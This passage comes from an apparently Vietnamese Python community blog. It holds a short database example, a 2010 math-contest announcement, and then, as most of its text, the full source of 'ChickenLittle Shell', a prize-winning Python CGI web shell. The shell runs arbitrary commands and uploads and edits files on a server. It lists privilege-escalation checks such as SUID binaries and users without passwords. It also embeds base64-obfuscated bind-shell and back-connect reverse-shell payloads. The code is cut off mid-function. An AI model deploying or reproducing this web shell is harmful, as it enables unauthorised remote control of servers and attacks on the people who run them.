<span class="gp">>>> </span><span class="n">query</span> <span class="o">=</span> <span class="s2">"select * from user"</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">execute</span><span class="p">(</span><span class="n">query</span><span class="p">)</span>
<span class="go">2L</span>
<span class="gp">>>> </span><span class="n">cursor</span><span class="o">.</span><span class="n">fetchall</span><span class="p">()</span>
<span class="go">({'account': u'hoaiptm', 'fullname': u'Ph\u1ea1m Th\u1ecb Minh Ho\xe0i', 'Id': 1L}, \</span>
<span class="go"> {'account': u'trangnt', 'fullname': u'Ng\xf4 Thu Trang', 'Id': 2L})</span>
</pre></div>
<p>Chương trình sẽ chạy chậm đi chút xíu, nhưng bù lại kết quả trả về rất dễ sử dụng.</p>
</div>
Phát động cuộc thi Giải Toán Bằng Python2010-05-24T07:32:00+07:002010-05-24T07:32:00+07:00Phan Đắc Anh Huytag:None,2010-05-24:2010/05/phat-dong-cuoc-thi-giai-toan-bang-python.html<p>Sau thành công của 2 lần thi trước, nhóm PCNV tiếp tục phát động cuộc thi Giải Toán Bằng Python để chào mừng ngày quốc tề thiếu nhi đang đến rất gần. Đề thi rất đơn giản:</p>
<blockquote>
<p>Hãy dùng ngôn ngữ lập trình Python để tính toán và xuất ra …</p></blockquote><p>Sau thành công của 2 lần thi trước, nhóm PCNV tiếp tục phát động cuộc thi Giải Toán Bằng Python để chào mừng ngày quốc tề thiếu nhi đang đến rất gần. Đề thi rất đơn giản:</p>
<blockquote>
<p>Hãy dùng ngôn ngữ lập trình Python để tính toán và xuất ra các cặp số n và k thỏa mãn:</p>
<pre class="literal-block">
1 + 2 + ... + n = n + 1 + n + 2 + ... + n + k
</pre>
</blockquote>
<dl class="docutils">
<dt>Input:</dt>
<dd>Không có.</dd>
<dt>Output:</dt>
<dd>Standard Output.</dd>
<dt>Output Format:</dt>
<dd>In trên nhiều dòng, mỗi dòng là một cặp số n, k cách nhau bằng một hoặc nhiều khoảng trắng.</dd>
<dt>Yêu cầu:</dt>
<dd><ul class="first last simple">
<li>Chỉ được dùng các module built-in.</li>
<li>Không được in ra các giá trị n, k đã tính toán sẵn trước khi chương trình thực thi dưới bất kỳ hình thức nào.</li>
<li>Chương trình sẽ được người chấm thực thi trong vòng 30 giây. Hết thời gian này, chương trình sẽ bị ngắt.</li>
<li>Chương trình nào in ra được nhiều cặp số n, k nhất sẽ chiến thắng.</li>
<li>Chương trình sẽ bị loại nếu in ra bất cứ cặp số n, k nào không chính xác.</li>
</ul>
</dd>
</dl>
<p>Thời hạn dự thi: Từ ngày hôm nay (24/05/2010) đến hết ngày <strong>31/05/2010</strong>.</p>
<p>Bài dự thi xin gửi về địa chỉ email <strong>admin+frontpage@vithon.org</strong> (xin vui lòng bỏ +frontpage trước khi gửi), bạn có thể gửi nhiều lần trong trường hợp cải thiện được kết quả của mình. Chương trình được gửi cuối cùng sẽ được nhóm PCNV sử dụng để chấm điểm chung cuộc.</p>
<p>Trong quá trình làm bài, nếu có nhu cầu trao đổi, đặt câu hỏi, hay chỉ đơn giản là muốn trò chuyện với những người bạn rất dễ thương trong nhóm PCNV, các bạn có thể tham gia phòng tán gẫu <tt class="docutils literal">#vithon</tt> ở máy chủ <tt class="docutils literal">irc.freenode.net</tt>.</p>
<p>Đã là cuộc thi thì không thể thiếu giải thưởng, phần thưởng cho người thắng cuộc là 100.000 VND và một buổi trò chuyện thân mật với admin nhóm PCNV.</p>
ChickenLittle Shell2010-05-19T06:41:00+07:002010-05-19T06:41:00+07:00Nhóm PCNVtag:None,2010-05-19:2010/05/chickenlittle-shell.html<p>Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/python</span>
<span class="sd">"""</span>
<span class="sd">ChickenLittle Shell by Zep</span>
<span class="sd">"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="kn">import …</span></pre></div><p>Nhân dịp kỷ niệm 120 năm ngày sinh lãnh tụ Hồ Chí Minh, nhóm PCNV xin gửi đến bạn đọc bài dự thi đạt giải nhất cuộc thi Web Shell Programming Contest kết thúc vào ngày 15 tháng 05 vừa qua.</p>
<div class="highlight"><pre><span></span><span class="ch">#!/usr/bin/python</span>
<span class="sd">"""</span>
<span class="sd">ChickenLittle Shell by Zep</span>
<span class="sd">"""</span>
<span class="k">try</span><span class="p">:</span>
<span class="kn">import</span> <span class="nn">cgitb</span><span class="p">;</span> <span class="n">cgitb</span><span class="o">.</span><span class="n">enable</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">pass</span>
<span class="kn">import</span> <span class="nn">sys</span><span class="o">,</span> <span class="nn">cgi</span><span class="o">,</span> <span class="nn">os</span><span class="o">,</span> <span class="nn">base64</span><span class="o">,</span> <span class="nn">subprocess</span>
<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">strftime</span>
<span class="kn">from</span> <span class="nn">string</span> <span class="kn">import</span> <span class="n">Template</span>
<span class="n">bind_port</span> <span class="o">=</span> <span class="s2">"""aW1wb3J0IG9zLCBzeXMsIHNvY2tldCwgdGltZQpQT1JUID0gaW50KHN5cy5hcmd2WzFdKQpQVyA9</span>
<span class="s2">IHN5cy5hcmd2WzJdCnNvY2sgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5T</span>
<span class="s2">T0NLX1NUUkVBTSkKc29jay5iaW5kKCgiMC4wLjAuMCIsUE9SVCkpCnNvY2subGlzdGVuKDUpClNI</span>
<span class="s2">RUxMPSIvYmluL2Jhc2ggLWkiCndoaWxlIFRydWU6CiAgICB0cnk6CQogICAgICAgIChjb25uLGFk</span>
<span class="s2">ZHIpID0gc29jay5hY2NlcHQoKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwwKQogICAg</span>
<span class="s2">ICAgIG9zLmR1cDIoY29ubi5maWxlbm8oKSwxKQogICAgICAgIG9zLmR1cDIoY29ubi5maWxlbm8o</span>
<span class="s2">KSwyKQogICAgICAgIHByaW50ID4+IHN5cy5zdGRlcnIsICdQYXNzd29yZDogJywKICAgICAgICBw</span>
<span class="s2">ID0gY29ubi5yZWN2KDEwMjQpCiAgICAgICAgcCA9IHAuc3RyaXAoKQogICAgICAgIGlmIHAgPT0g</span>
<span class="s2">UFc6CiAgICAgICAgICAgIG9zLnN5c3RlbSgiL2Jpbi9iYXNoIC1pIikKICAgICAgICBlbHNlOgog</span>
<span class="s2">ICAgICAgICAgICBwcmludCA+PiBzeXMuc3RkZXJyLCAiR28gdG8gaGVsbCIKICAgICAgICBjb25u</span>
<span class="s2">LmNsb3NlKCkKICAgIGV4Y2VwdCBFeGNlcHRpb24sZTogIAogICAgICAgIHByaW50IGUKICAgICAg</span>
<span class="s2">ICB0aW1lLnNsZWVwKDEpCg=="""</span>
<span class="n">back_connect</span> <span class="o">=</span> <span class="s2">"""aW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3ZbMV0KUE9SVCA9IGludChzeXMu</span>
<span class="s2">YXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0gc29ja2V0LnNvY2tldChzb2Nr</span>
<span class="s2">ZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29ubmVjdCgoSE9TVCxQT1JUKSkK</span>
<span class="s2">dHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgb3MuZHVwMihzb2NrLmZpbGVu</span>
<span class="s2">bygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgb3Muc3lzdGVtKFNIRUxM</span>
<span class="s2">KQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2suY2xvc2UoKQo="""</span>
<span class="c1"># HTML</span>
<span class="n">html</span> <span class="o">=</span> <span class="n">Template</span><span class="p">(</span><span class="s2">"""</span>
<span class="s2"><html></span>
<span class="s2"><head></span>
<span class="s2"> <title>ChickenLittle Shell</title></span>
<span class="s2"> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /></span>
<span class="s2"> <style></span>
<span class="s2"> body {</span>
<span class="s2"> color:#fff;</span>
<span class="s2"> background-color:#585858;</span>
<span class="s2"> font-size:11px;</span>
<span class="s2"> }</span>
<span class="s2"> table {</span>
<span class="s2"> font-family: Verdana, Tahoma;</span>
<span class="s2"> font-size:11px;</span>
<span class="s2"> }</span>
<span class="s2"> tr {</span>
<span class="s2"> border: #D9D9D9 1px solid;</span>
<span class="s2"> }</span>
<span class="s2"> td {</span>
<span class="s2"> border: #D9D9D9 1px solid;</span>
<span class="s2"> }</span>
<span class="s2"> a {</span>
<span class="s2"> color: #fff;</span>
<span class="s2"> }</span>
<span class="s2"> input {</span>
<span class="s2"> background-color:#800000;</span>
<span class="s2"> color:#FFFFFF;</span>
<span class="s2"> font-family:Tahoma;</span>
<span class="s2"> font-size:8pt;</span>
<span class="s2"> }</span>
<span class="s2"> select {</span>
<span class="s2"> background-color:#800000;</span>
<span class="s2"> color:#FFFFFF;</span>
<span class="s2"> font-family:Tahoma;</span>
<span class="s2"> font-size:8pt;</span>
<span class="s2"> }</span>
<span class="s2"> textarea {</span>
<span class="s2"> background-color:#800000;</span>
<span class="s2"> color:#FFFFFF;</span>
<span class="s2"> font-family:Tahoma;</span>
<span class="s2"> font-size:8pt;</span>
<span class="s2"> }</span>
<span class="s2"> </style></span>
<span class="s2"></head></span>
<span class="s2"><body></span>
<span class="s2"> <script type="text/javascript"></span>
<span class="s2"> function toggleEnviron()</span>
<span class="s2"> {</span>
<span class="s2"> if (document.getElementById('environ_table').style.display=="none")</span>
<span class="s2"> document.getElementById('environ_table').style.display="";</span>
<span class="s2"> else</span>
<span class="s2"> document.getElementById('environ_table').style.display="none";</span>
<span class="s2"> }</span>
<span class="s2"> </script></span>
<span class="s2"> <center><h2>=== ChickenLittle Shell ===</h2></center></span>
<span class="s2"> <a href="javascript:void(0)" onclick="javascript:toggleEnviron()">Show/Hide Environment variables</a></span>
<span class="s2"> $environ_table</span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr><td></span>
<span class="s2"> uname -a: $uname <br /></span>
<span class="s2"> $uid</span>
<span class="s2"> </td></tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <div style="display:$edit_file_box_visibility"></span>
<span class="s2"> <b>Edit File:</b> <br /></span>
<span class="s2"> <form method="POST" action="?"></span>
<span class="s2"> <textarea name="file_content" cols="200" rows="30" >$file_content</textarea></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /> <br /></span>
<span class="s2"> <input type="hidden" value="save_file" size="50" name="command" /> <br /></span>
<span class="s2"> <input type="hidden" value="$file_name" size="50" name="file_name" /> <br /></span>
<span class="s2"> <input type="submit" value="Save"></span>
<span class="s2"> </form></span>
<span class="s2"> <p /></span>
<span class="s2"> </div></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center"></span>
<span class="s2"> <b>:: Change Dir ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> <td style="text-align:center"></span>
<span class="s2"> <b>:: Get File ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <input type="text" value="$cur_dir" size="50" name="cur_dir">&nbsp;<input type="submit" value="Go"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td colspan="2" style="text-align:center"><b>$cur_dir</b></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td><pre>$list_files</pre></td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <b>Result of command</b><br /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td></span>
<span class="s2"> <textarea cols="200" rows="10">$command_result</textarea></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center" width="50%"></span>
<span class="s2"> <b>:: Execute Command ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /></span>
<span class="s2"> <input type="text" value="" size="50" name="command">&nbsp;<input type="submit" value="Execute"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> <td style="text-align:center"></span>
<span class="s2"> <b>:: Useful Commands ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <select name="command"></span>
<span class="s2"> <option value="uname -a">Kernel version</option></span>
<span class="s2"> <option value="w">Logged in users</option></span>
<span class="s2"> <option value="lastlog">Last to connect</option></span>
<span class="s2"> <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option></span>
<span class="s2"> <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option></span>
<span class="s2"> <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option></span>
<span class="s2"> <option value="which wget curl w3m lynx">Downloaders?</option></span>
<span class="s2"> <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option></span>
<span class="s2"> <option value="netstat -atup | grep IST">Open ports</option></span>
<span class="s2"> <option value="locate gcc">gcc installed?</option></span>
<span class="s2"> </select></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /></span>
<span class="s2"> <input type="submit" value="Go" /></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center" width="50%"></span>
<span class="s2"> <b>:: Create Dir ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create"></span>
<span class="s2"> <input type="hidden" value="mkdir" size="50" name="command" /></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> <td style="text-align:center"></span>
<span class="s2"> <b>:: Upload File ::</b><br /></span>
<span class="s2"> <form action="?" method="POST" enctype="multipart/form-data"></span>
<span class="s2"> <input type="file" name="file">&nbsp;<input type="submit" value="Upload"></span>
<span class="s2"> <input type="hidden" value="upload" size="50" name="command" /></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center" width="50%"></span>
<span class="s2"> <b>:: Search Text in Files ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">Text: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">Directory: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">Include File Pattern: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <input type="submit" value="Search"></span>
<span class="s2"> <input type="hidden" value="search_text" size="50" name="command" /></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> <td style="text-align:center;vertical-align:top"></span>
<span class="s2"> <b>:: Edit File ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir" /></span>
<span class="s2"> <input type="hidden" value="edit_file" size="50" name="command"></span>
<span class="s2"> <input type="text" value="$cur_dir" size="50" name="file_name"></span>
<span class="s2"> &nbsp;<input type="submit" value="Edit"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center" width="50%"></span>
<span class="s2"> <b>:: Bind port to /bin/bash ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">Port: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="10" name="port" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="border:none;text-align:right">Password: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="10" name="password" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <input type="submit" value="Bind"></span>
<span class="s2"> <input type="hidden" value="bind_port" size="50" name="command" /></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> <td style="text-align:center" width="50%"></span>
<span class="s2"> <b>:: back-connect ::</b><br /></span>
<span class="s2"> <form action="?" method="POST"></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td width="50%" style="border:none;text-align:right">IP: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="10" name="ip" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="border:none;text-align:right">Port: </td></span>
<span class="s2"> <td style="border:none"><input type="text" value="" size="10" name="port" /></td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <input type="submit" value="Connect"></span>
<span class="s2"> <input type="hidden" value="back_connect" size="50" name="command" /></span>
<span class="s2"> <input type="hidden" value="$cur_dir" size="50" name="cur_dir"></span>
<span class="s2"> </form></span>
<span class="s2"> </td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"> <p /></span>
<span class="s2"> <table width="100%"></span>
<span class="s2"> <tr></span>
<span class="s2"> <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td></span>
<span class="s2"> </tr></span>
<span class="s2"> </table></span>
<span class="s2"></body></span>
<span class="s2"></html></span>
<span class="s2">"""</span><span class="p">)</span>
<span class="n">scriptname</span> <span class="o">=</span> <span class="s2">""</span>
<span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="s2">"SCRIPT_NAME"</span><span class="p">):</span>
<span class="n">scriptname</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s2">"SCRIPT_NAME"</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">get_environ_table</span><span class="p">():</span>
<span class="n">s</span> <span class="o">=</span> <span class="s2">"<table style=</span><span class="se">\"</span><span class="s2">display:none</span><span class="se">\"</span><span class="s2"> id=</span><span class="se">\"</span><span class="s2">environ_table</span><span class="se">\"</span><span class="s2">>"</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">:</span>
<span class="n">s</span><span class="o">+=</span><span class="s2">"<tr><td></span><span class="si">%s</span><span class="s2"></td><td></span><span class="si">%s</span><span class="s2"></td></tr>"</span><span class="o">%</span><span class="p">(</span><span class="n">k</span><span class="p">,</span><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="n">k</span><span class="p">])</span>
<span class="n">s</span><span class="o">+=</span><span class="s2">"</table>"</span>
<span class="k">return</span> <span class="n">s</span>
<span class="k">def</span> <span class="nf">run_command</span><span class="p">(</span><span class="n">command</span><span class="p">):</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">STDOUT</span><span class="p">,</span> <span class="n">close_fds</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="n">o</span><span class="p">)</span> <span class="o">=</span> <span class="n">p</span><span class="o">.</span><span class="n">stdin</span><span class="p">,</span><span class="n">p</span><span class="o">.</span><span class="n">stdout</span>
<span class="k">return</span> <span class="n">o</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
<span class="k">def</span> <span class="nf">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span> <span class="n">param</span><span class="p">,</span><span class="n">default</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
<span class="k">if</span> <span class="n">form</span><span class="o">.</span><span class="n">has_key</span><span class="p">(</span><span class="n">param</span><span class="p">):</span>
<span class="k">return</span> <span class="n">form</span><span class="o">.</span><span class="n">getvalue</span><span class="p">(</span><span class="n">param</span><span class="p">)</span>
<span class="k">return</span> <span class="n">default</span>
<span class="k">def</span> <span class="nf">can_write</span><span class="p">(</span><span class="n">file_name</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="s2">"w"</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="kc">True</span>
<span class="k">except</span><span class="p">:</span>
<span class="k">return</span> <span class="kc">False</span>
<span class="k">def</span> <span class="nf">put_script</span><span class="p">(</span><span class="n">base_name</span><span class="p">,</span><span class="n">encoded_script</span><span class="p">):</span>
<span class="n">script</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">encoded_script</span><span class="p">)</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="s2">"/tmp/"</span><span class="o">+</span><span class="n">base_name</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">while</span> <span class="ow">not</span> <span class="n">can_write</span><span class="p">(</span><span class="n">file_name</span><span class="p">):</span>
<span class="n">i</span><span class="o">+=</span><span class="mi">1</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="s2">"/tmp/"</span><span class="o">+</span><span class="n">base_name</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">file_name</span><span class="p">,</span><span class="s2">"w"</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">script</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">return</span> <span class="n">file_name</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
<span class="nb">print</span> <span class="s2">"Content-type: text/html"</span> <span class="c1"># header</span>
<span class="nb">print</span> <span class="c1"># blank line</span>
<span class="n">form</span> <span class="o">=</span> <span class="n">cgi</span><span class="o">.</span><span class="n">FieldStorage</span><span class="p">()</span>
<span class="n">uname</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="s2">"uname -a"</span><span class="p">)</span>
<span class="n">uid</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="s2">"id"</span><span class="p">)</span>
<span class="n">cur_dir</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span> <span class="s2">"cur_dir"</span><span class="p">,</span><span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">())</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">exists</span><span class="p">(</span><span class="n">cur_dir</span><span class="p">):</span>
<span class="n">cur_dir</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">getcwd</span><span class="p">()</span>
<span class="n">os</span><span class="o">.</span><span class="n">chdir</span><span class="p">(</span><span class="n">cur_dir</span><span class="p">)</span>
<span class="n">command</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"command"</span><span class="p">)</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">file_content</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">file_name</span> <span class="o">=</span> <span class="s2">""</span>
<span class="n">edit_file_box_visibility</span> <span class="o">=</span> <span class="s2">"None"</span>
<span class="k">if</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"mkdir"</span><span class="p">:</span>
<span class="n">new_dir</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"new_dir"</span><span class="p">)</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="n">run_command</span><span class="p">(</span><span class="s2">"mkdir "</span> <span class="o">+</span> <span class="n">new_dir</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"upload"</span><span class="p">:</span>
<span class="n">upload_file</span> <span class="o">=</span> <span class="n">form</span><span class="p">[</span><span class="s2">"file"</span><span class="p">]</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">upload_file</span><span class="o">.</span><span class="n">filename</span><span class="p">,</span><span class="s2">"w"</span><span class="p">)</span>
<span class="k">while</span> <span class="kc">True</span><span class="p">:</span>
<span class="n">chunk</span> <span class="o">=</span> <span class="n">upload_file</span><span class="o">.</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">(</span><span class="mi">1024</span><span class="p">)</span>
<span class="k">if</span> <span class="ow">not</span> <span class="n">chunk</span><span class="p">:</span> <span class="k">break</span>
<span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">chunk</span><span class="p">)</span>
<span class="n">f</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">except</span> <span class="ne">Exception</span><span class="p">,</span><span class="n">e</span><span class="p">:</span>
<span class="n">command_result</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span>
<span class="k">elif</span> <span class="n">command</span> <span class="o">==</span> <span class="s2">"search_text"</span><span class="p">:</span>
<span class="n">search_text</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"search_text"</span><span class="p">,</span><span class="s2">""</span><span class="p">)</span>
<span class="n">search_dir</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"search_dir"</span><span class="p">,</span><span class="s2">"."</span><span class="p">)</span>
<span class="n">include_pattern</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"include_pattern"</span><span class="p">)</span>
<span class="n">exclude_pattern</span> <span class="o">=</span> <span class="n">get_param</span><span class="p">(</span><span class="n">form</span><span class="p">,</span><span class="s2">"exclude_pattern"</span><span class="p">)</span>
<span class="n">cmd</span> <span class="o">=</span> <span class="s2">"grep -ir </span><span class="se">\"</span><span class="si">%s</span><span class="se">\"</span><span class="s2"> </span><span class="si">%s</span><span class="s2"> "</span> <span class="o">%</span> <span class="p">(</span><span class="n">search_text</span><span class="p">,</span><span class="n">search_dir</span><span class="p">)</span>
<span class="k">if</span> <span class="n">include_pattern</span><span class="p">:</span>
<span class="n">cmd</span> <span class="o">+=</span> <span class="s2">"--include=</span><span class="si">%s</span><span class="s2"> "</span> <span class="o">%</span> <span class="n">include_pattern</span>
<span class="k">if</span> <span class="n">exclude_pattern</span><span class="p">:</span>
